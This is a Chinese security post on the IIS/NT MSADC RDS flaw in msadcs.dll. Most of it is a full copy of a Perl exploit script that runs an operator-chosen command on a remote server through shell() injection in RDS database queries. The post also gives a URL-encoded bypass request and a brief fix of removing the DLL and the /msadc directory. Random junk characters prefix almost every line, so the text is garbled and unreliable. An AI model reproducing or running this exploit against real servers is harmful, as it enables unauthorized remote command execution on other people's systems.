IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d +eb![fi 4=* ml}RP 涉及程序：
g@>y`AFnr Microsoft NT server
"bO]AG ZhoB/TgdL 描述：
EJaO"9
( 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
aO\@5i_r SS,'mv 详细：
E@="n<uS 如果你没有时间读详细内容的话，就删除:
*q Ins/@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
+w@/$datI 有关的安全问题就没有了。
\W VY@eB )7rMevF(xJ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
sD<8 -n zjx'nK{eI 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
o`ODz[ 04 关于利用ODBC远程漏洞的描述，请参看:
= OA7$z[ mO\=# Q> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm gD6BPW~0 E| B1h!!\c 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
+G!;:o http://www.microsoft.com/security/bulletins/MS99-025faq.asp T=cb:PD{% l {\@+m 这里不再论述。
&\r_g!Mh qSL~A- 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
P$;_YLr @ j4~`~8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@/?$ ZX/e[ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
2)
A$ bx ga91#NWgK kI$X~s$r #将下面这段保存为txt文件，然后: "perl -x 文件名"
&T-udgR9 :cTwp K #!perl
-Ar 3>d #
~48mCD # MSADC/RDS 'usage' (aka exploit) script
Le c %kC #
V6
,59 # by rain.forest.puppy
+ f?xVW<h #
PR1% # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7Y' .yn # beta test and find errors!
We#O' m b*qC use Socket; use Getopt::Std;
6~Xe$fP( getopts("e:vd:h:XR", \%args);
"PPn^{bYm )kNyl @m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
N vlG@^&S mh `VZQ@ if (!defined $args{h} && !defined $args{R}) {
.:s**UiDR print qq~
} u..m$h Usage: msadc.pl -h <host> { -d <delay> -X -v }
Ndx ]5 -h <host> = host you want to scan (ip or domain)
Ib8xvzR6I& -d <seconds> = delay between calls, default 1 second
Cp ICb9w -X = dump Index Server path table, if available
yq>3IS4O -v = verbose
kQm\;[R -e = external dictionary file for step 5
/F 1mYq~ 5 gbJTh<JU Or a -R will resume a command session
j^Z3 6*2z^P9FRj ~; exit;}
cB7=4:U } Pc6_# $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"V c G3. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
fXYg % if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
KArnNmJ9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5ff6 6CRw $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5f BW#6N/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
EkqsE$52 9Kyr/6w4-k if (!defined $args{R}){ $ret = &has_msadc;
]7^ YPFc+ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
'&}B "1 R('44v5JQp print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`7|v . "cmd /c ";
N LC}XL $in=<STDIN>; chomp $in;
l+Tw#2s$ $command="cmd /c " . $in ;
_>* $%R |L7
`7!Z if (defined $args{R}) {&load; exit;}
p]#%e0 vV| u+v{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
z>hG' &try_btcustmr;
u U>Bun
/cDla5eej print "\nStep 2: Trying to make our own DSN...";
M(S:&GOU &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*/RtN`dh OY6l t.t print "\nStep 3: Trying known DSNs...";
avk0pY(n &known_dsn;
b07 MTDFH7 810u +%fu print "\nStep 4: Trying known .mdbs...";
Zcv1%hI &known_mdb;
qMz0R\4 w.Ft-RXA W if (defined $args{e}){
y:Qo:Z~ print "\nStep 5: Trying dictionary of DSN names...";
ueYZM<], &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
r/fLm8+ vh+Ih Gi print "Sorry Charley...maybe next time?\n";
5"6Y=AuQ6 exit;
dH zo_VV ;Zc(qA ##############################################################################
'z ZN]P qI"@ PI!s sub sendraw { # ripped and modded from whisker
zrG&p Z sleep($delay); # it's a DoS on the server! At least on mine...
4jj@"*^a my ($pstr)=@_;
5B@+$D[0?3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.QzHHW4&0 die("Socket problems\n");
x2[A(O= if(connect(S,pack "SnA4x8",2,80,$target)){
W[:
n *h select(S); $|=1;
~(%nnG6x print $pstr; my @in=<S>;
X) xQKkL0 select(STDOUT); close(S);
n_hV ; return @in;
zN {'@B } else { die("Can't connect...\n"); }}
S=ebht= c63 DuHA*C ##############################################################################
s 7iguFQ c
Q|nL sub make_header { # make the HTTP request
sV'(y>PP% my $msadc=<<EOT
5EIh5Y EU> POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
(5re'Pl User-Agent: ACTIVEDATA
[&y{z-D> Host: $ip
_1 f!9ghT\ Content-Length: $clen
no C ]&4b Connection: Keep-Alive
<l(LQmM; ne4hR]: ADCClientVersion:01.06
8/x@|rjW Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
S
v$%-x^t KQj5o>} 6 --!ADM!ROX!YOUR!WORLD!
@S yGj# Content-Type: application/x-varg
%%}U
-*b Content-Length: $reqlen
/Zap'S/ |vw0:\/ H EOT
?`, <l#sj ; $msadc=~s/\n/\r\n/g;
G< l+94( return $msadc;}
+ZEj(fd9 kqYWa`eE ##############################################################################
/mX/
"~ 0
Ji>dr n sub make_req { # make the RDS request
Lqb9gUJ:U my ($switch, $p1, $p2)=@_;
@-Tt<pl'L my $req=""; my $t1, $t2, $query, $dsn;
LWuciHfd+ 0qqk:h if ($switch==1){ # this is the btcustmr.mdb query
j
B S$xW $query="Select * from Customers where City=" . make_shell();
F$y 3 o X $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
t23uQR#>b_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3,=97Si= 9q5jqFQ elsif ($switch==2){ # this is general make table query
w5w,jD[ $query="create table AZZ (B int, C varchar(10))";
*]NG@ ^y $dsn="$p1";}
(-viP &#^^UT(nj elsif ($switch==3){ # this is general exploit table query
}lt5!u~} $query="select * from AZZ where C=" . make_shell();
mD<- <]SYp $dsn="$p1";}
1t
wC-rC $ (/=Wn elsif ($switch==4){ # attempt to hork file info from index server
ZxLd h8v. $query="select path from scope()";
7yM=$"'d $dsn="Provider=MSIDXS;";}
82l$]W 4 Y S/x; elsif ($switch==5){ # bad query
RC'4%++Nz $query="select";
^3"~
T $dsn="$p1";}
]r|sU.Vl g<pr(7jO $t1= make_unicode($query);
uF,F<% d $t2= make_unicode($dsn);
4&%0% $req = "\x02\x00\x03\x00";
#t
N9#w[K{ $req.= "\x08\x00" . pack ("S1", length($t1));
pURtk-Fr2 $req.= "\x00\x00" . $t1 ;
x7\b-EC $req.= "\x08\x00" . pack ("S1", length($t2));
Iv])s $req.= "\x00\x00" . $t2 ;
}huj%Pnk ) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
C.qN Bl* return $req;}
s ^f7w :%G_<VAo! ##############################################################################
QS7 <7+ b9nTg sub make_shell { # this makes the shell() statement
_ L ?MYk D return "'|shell(\"$command\")|'";}
o%3i( H XhEZTg; ##############################################################################
^UU@7cSi|G \f~m6j$D_ sub make_unicode { # quick little function to convert to unicode
Td,2.YMQ my ($in)=@_; my $out;
Kk.a9uKI} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+;r1AR1)x return $out;}
U{1%ldOJ% xER-TT #S ##############################################################################
3CL1Z\8To 9w3KAca sub rdo_success { # checks for RDO return success (this is kludge)
|D*a"*1+A my (@in) = @_; my $base=content_start(@in);
~jz!jF~I if($in[$base]=~/multipart\/mixed/){
R+sv? 4k return 1 if( $in[$base+10]=~/^\x09\x00/ );}
v 9k\[E? return 0;}
l,fwF ua p
: {,~
1 ##############################################################################
/(oxK>*F )6 U6 ~!k sub make_dsn { # this makes a DSN for us
edai2O my @drives=("c","d","e","f");
DpCe_Vb%M print "\nMaking DSN: ";
J497
>w[ foreach $drive (@drives) {
"+XF'ZO print "$drive: ";
d +45Y,| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
m @Hg: DY "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Xsk/U++ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6;C2^J @ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
953GmNZ7 return 0 if $2 eq "404"; # not found/doesn't exist
Six2{b)p if($2 eq "200") {
QLxe1[qI foreach $line (@results) {
h
?_@nQ! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
lvOM1I } return 0;}
@[LM8 @: P(o GNKAS ##############################################################################
HXm &` _|r/* (hh sub verify_exists {
n\GN}?4 my ($page)=@_;
+ L [a my @results=sendraw("GET $page HTTP/1.0\n\n");
'}l7=r return $results[0];}
ZAJ~Tbm[f l&|Tb8_' ##############################################################################
%MCJ%Ph 63`5A3rii sub try_btcustmr {
|F4)&xN\ my @drives=("c","d","e","f");
lT?Vt`==~M my @dirs=("winnt","winnt35","winnt351","win","windows");
r}:D g
fn 3qQ}U}-; | foreach $dir (@dirs) {
I p< ~Y print "$dir -> "; # fun status so you can see progress
|Ed?s foreach $drive (@drives) {
18^K!:Of print "$drive: "; # ditto
E]Q d 5l $reqlen=length( make_req(1,$drive,$dir) ) - 28;
i,zZJ =a$ $reqlenlen=length( "$reqlen" );
wwN kJ+ $clen= 206 + $reqlenlen + $reqlen;
')T*cL Q>< !q~f;&rg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!<&To if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
* V_b/Vt else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6<% b}q9Mo qgs:9V
xF ##############################################################################
e6>[Z C '=H3Y_{oO sub odbc_error {
4j}.=u* X7 my (@in)=@_; my $base;
+y_V$q$G my $base = content_start(@in);
bw)E;1zo if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\=[38?QOY $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e#vGrLs. $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
| .b&\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x6Tpt^N} return $in[$base+4].$in[$base+5].$in[$base+6];}
E#A}2|7,g print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
8ly Ng w1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
BM9:|}\J65 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
</B:Zjn g7w#;E ##############################################################################
&k`/jl;u I-Q(kWc sub verbose {
m2l0`l~T8 my ($in)=@_;
(S?qxW? return if !$verbose;
)afH: print STDOUT "\n$in\n";}
|RBL5,t^ p
m<K6I ##############################################################################
g2vt(Gf ; Bw<$fT` sub save {
/VFQbJ+ ` my ($p1, $p2, $p3, $p4)=@_;
9%dO"t$-q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+ jN)$Y3Ya print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Y3ypca&P9 close OUT;}
P@<K&S+f ug/P>0 ##############################################################################
,D.@6 bJW 6J965eM'[ sub load {
j'XND`3 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
X;{U? `b- open(IN,"<rds.save") || die("Couldn't open rds.save\n");
lrgvY>E 0 @p=<IN>; close(IN);
= T$2Qo8 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
FC4hvO(/m $target= inet_aton($ip) || die("inet_aton problems");
sDwE,f0h print "Resuming to $ip ...";
9? |m ^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
aw3rTT( if($p[1]==1) {
}]pO R&o $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
OYOczb] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
B~3qEdoK5` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(OG>=h8? if (rdo_success(@results)){print "Success!\n";}
"-Uqv @ else { print "failed\n"; verbose(odbc_error(@results));}}
rD>q/,X=\ elsif ($p[1]==3){
bR=TGL& if(run_query("$p[3]")){
_2<k,Dl;RY print "Success!\n";} else { print "failed\n"; }}
nB |fw" elsif ($p[1]==4){
?osYs<k \ if(run_query($drvst . "$p[3]")){
,f
.#- print "Success!\n"; } else { print "failed\n"; }}
=Q8$O
2TW exit;}
Um CIjwk jG^OF5. ##############################################################################
qjR p5 mW."lzIl sub create_table {
Csm23QLsg) my ($in)=@_;
*%dWNvN4X $reqlen=length( make_req(2,$in,"") ) - 28;
z"! =A}i $reqlenlen=length( "$reqlen" );
-:V2Dsr6; $clen= 206 + $reqlenlen + $reqlen;
p{JE@TM my @results=sendraw(make_header() . make_req(2,$in,""));
Z1 5b'^)?9 return 1 if rdo_success(@results);
i^/D_L. my $temp= odbc_error(@results); verbose($temp);
q%FXox~b return 1 if $temp=~/Table 'AZZ' already exists/;
Yi fTC-Q; return 0;}
j"<F?k@`Q !xD_=O ##############################################################################
y/ah<Y0( ptpu
u=3" sub known_dsn {
YwF\ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
K/LoHWy+n* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
mvBUm-X "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g8;JpP w "banner", "banners", "ads", "ADCDemo", "ADCTest");
0Yc#f D
TGozoPV foreach $dSn (@dsns) {
PF-"^2&_ print ".";
J_ `\}55n next if (!is_access("DSN=$dSn"));
LwIX&\Ub if(create_table("DSN=$dSn")){
51x)fZQ print "$dSn successful\n";
ht^xc c if(run_query("DSN=$dSn")){
" ZFK-jn/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sm @Ot~; print "Something's borked. Use verbose next time\n";}}} print "\n";}
iLG~_O b: t>%J3S>'ZV ##############################################################################
3+ r8yiY
Hh.l,Z7i7D sub is_access {
mkt%|Kb. my ($in)=@_;
NpY zN|W: $reqlen=length( make_req(5,$in,"") ) - 28;
0~j0x# $reqlenlen=length( "$reqlen" );
. xdSUe $clen= 206 + $reqlenlen + $reqlen;
@C6.~OiP my @results=sendraw(make_header() . make_req(5,$in,""));
(SYSw%v$A my $temp= odbc_error(@results);
2M+'9 +k~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
[O(8iz v return 0;}
j]5bs *G 69u"/7X ##############################################################################
y2 ,M9 Kdwt^8Umh sub run_query {
@ s;qmBX4 my ($in)=@_;
S&Y C" $reqlen=length( make_req(3,$in,"") ) - 28;
[Dq!t1 $reqlenlen=length( "$reqlen" );
m`Ver:{ $clen= 206 + $reqlenlen + $reqlen;
Ljjuf=] my @results=sendraw(make_header() . make_req(3,$in,""));
vMV}M%~ return 1 if rdo_success(@results);
~1v5H]T{ my $temp= odbc_error(@results); verbose($temp);
[q{[Avq f return 0;}
YCd[ s[ 8/dx)*JCq ##############################################################################
/2e&fxxD G>);8T%l sub known_mdb {
jRP9e my @drives=("c","d","e","f","g");
xMu[#\ Vc my @dirs=("winnt","winnt35","winnt351","win","windows");
t\$P*_ my $dir, $drive, $mdb;
G&HCOR!h my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~SRK}5E AsW! G dIN # this is sparse, because I don't know of many
$ RDwy)9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
$ kA'9Y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_3YuPMaN "\\system32\\certmdb.mdb",
"NgfdL z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
U\
Et :Ej#qY i my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
z"n7du}v "\\cfusion\\cfapps\\forums\\forums_.mdb",
l$~3_3+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
bZ$;`F 5}) "\\cfusion\\cfapps\\security\\realm_.mdb",
i0y^b5@MOb "\\cfusion\\cfapps\\security\\data\\realm.mdb",
\qA g] - "\\cfusion\\database\\cfexamples.mdb",
NM;0@ o "\\cfusion\\database\\cfsnippets.mdb",
M(a lc9tn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
<n) J~B^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
B 8Cic\2 "\\cfusion\\brighttiger\\database\\cleam.mdb",
x"9e eB, "\\cfusion\\database\\smpolicy.mdb",
oXef<- : "\\cfusion\\database\cypress.mdb",
8tR(i[L
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
1'[RrJ$Q "\\website\\cgi-win\\dbsample.mdb",
J .r^"K\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
gxIGL-1M "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Pde|$!Jo ); #these are just
wsnR$FhQ` foreach $drive (@drives) {
&?R2 zfcM foreach $dir (@dirs){
0GtL6M@pP foreach $mdb (@sysmdbs) {
\<}4D\qz print ".";
pu:Ie#xTDf if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
fZqqU|tq print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
%MQU&H9 [ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^]&uMkPN print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\pXs&}%1,F } else { print "Something's borked. Use verbose next time\n"; }}}}}
6 V" | s[
z e8: foreach $drive (@drives) {
6QwVgEnSf foreach $mdb (@mdbs) {
/A8ua=Kn print ".";
^u? # fLr if(create_table($drv . $drive . $dir . $mdb)){
(h} 5*u%h print "\n" . $drive . $dir . $mdb . " successful\n";
)"W(0M] > if(run_query($drv . $drive . $dir . $mdb)){
CWP),]#n print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
x}Y } else { print "Something's borked. Use verbose next time\n"; }}}}
[z2XK4\e1T }
E<j}" W$a cmLGMlF T ##############################################################################
F3-<F_4.w Nl[]8G}; sub hork_idx {
Vq'\`$_
print "\nAttempting to dump Index Server tables...\n";
l EcZ/ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
W chu-] $reqlen=length( make_req(4,"","") ) - 28;
}e7os 0;s $reqlenlen=length( "$reqlen" );
q&/<~R C* $clen= 206 + $reqlenlen + $reqlen;
9{D u)k my @results=sendraw2(make_header() . make_req(4,"",""));
VH.m H< if (rdo_success(@results)){
L}E~CiL0 n my $max=@results; my $c; my %d;
;_o1{? ~ for($c=19; $c<$max; $c++){
}?K vT$s $results[$c]=~s/\x00//g;
9g7d:zG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-/x= `S * $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
))/NGa $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Q[j'FtP% $d{"$1$2"}="";}
`-R-O@X| foreach $c (keys %d){ print "$c\n"; }
N~""Lc& } else {print "Index server doesn't seem to be installed.\n"; }}
#%4XZ3j#j; TY."?` [FK ##############################################################################
jGg,)~)Y <EhOIN7@*D sub dsn_dict {
: 3J0Q open(IN, "<$args{e}") || die("Can't open external dictionary\n");
XniPNU while(<IN>){
oO0dN1/ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
I_ 1(jaY next if (!is_access("DSN=$dSn"));
e=>:(^CS if(create_table("DSN=$dSn")){
?/M : print "$dSn successful\n";
q,i&% if(run_query("DSN=$dSn")){
S55h}5Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#r=J c8J_ print "Something's borked. Use verbose next time\n";}}}
GI se|[p print "\n"; close(IN);}
_#UiY
ffa* S/itK3 ##############################################################################
V-{3)6I$hG x|b52<dLL& sub sendraw2 { # ripped and modded from whisker
%E R"U dh sleep($delay); # it's a DoS on the server! At least on mine...
u PT2ga ] my ($pstr)=@_;
J~]Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_%@d lT? die("Socket problems\n");
< 2n5|.:> if(connect(S,pack "SnA4x8",2,80,$target)){
L">\c5ca print "Connected. Getting data";
)>=!</@ open(OUT,">raw.out"); my @in;
%(uYYr
6 select(S); $|=1; print $pstr;
_xe fFy while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&KYPi'C9!z close(OUT); select(STDOUT); close(S); return @in;
W? F Q } else { die("Can't connect...\n"); }}
E/3i _R 2zV{I* ##############################################################################
~n"?*I ` z/I\hC9i sub content_start { # this will take in the server headers
&- $27 my (@in)=@_; my $c;
+a'LdEp for ($c=1;$c<500;$c++) {
QZ m7
Q4 if($in[$c] =~/^\x0d\x0a/){
[ *~2Ts if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`0_,>Z else { return $c+1; }}}
xZ]QT3U+ return -1;} # it should never get here actually
j S4\; M
ZAz= )- ##############################################################################
ri`; U * :ju+)k sub funky {
EzeU-!|W my (@in)=@_; my $error=odbc_error(@in);
.O pG2P if($error=~/ADO could not find the specified provider/){
k%TBpG:T print "\nServer returned an ADO miscofiguration message\nAborting.\n";
oF~+L3&X exit;}
-q]5@s/ if($error=~/A Handler is required/){
x[y}{ T print "\nServer has custom handler filters (they most likely are patched)\n";
cy(4g-b]@e exit;}
!,^y!+,Qy if($error=~/specified Handler has denied Access/){
S,s#D9NU print "\nServer has custom handler filters (they most likely are patched)\n";
_o T+x%i exit;}}
mKqXB\< (! PsK:wc
##############################################################################
HUChg{[ 1l'JoU.<
sub has_msadc {
Ou4 `#7FR my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
D<` M<:nq my $base=content_start(@results);
5WA:gy gB& return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
gN2oUbf8 return 0;}
R, s}<N$ #~m 8zG ########################
[1Aoj| i6f42]Jy ~z\a:+ 解决方案：
EOZ 6F-': 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?t<g|H/|6 2、移除web 目录: /msadc
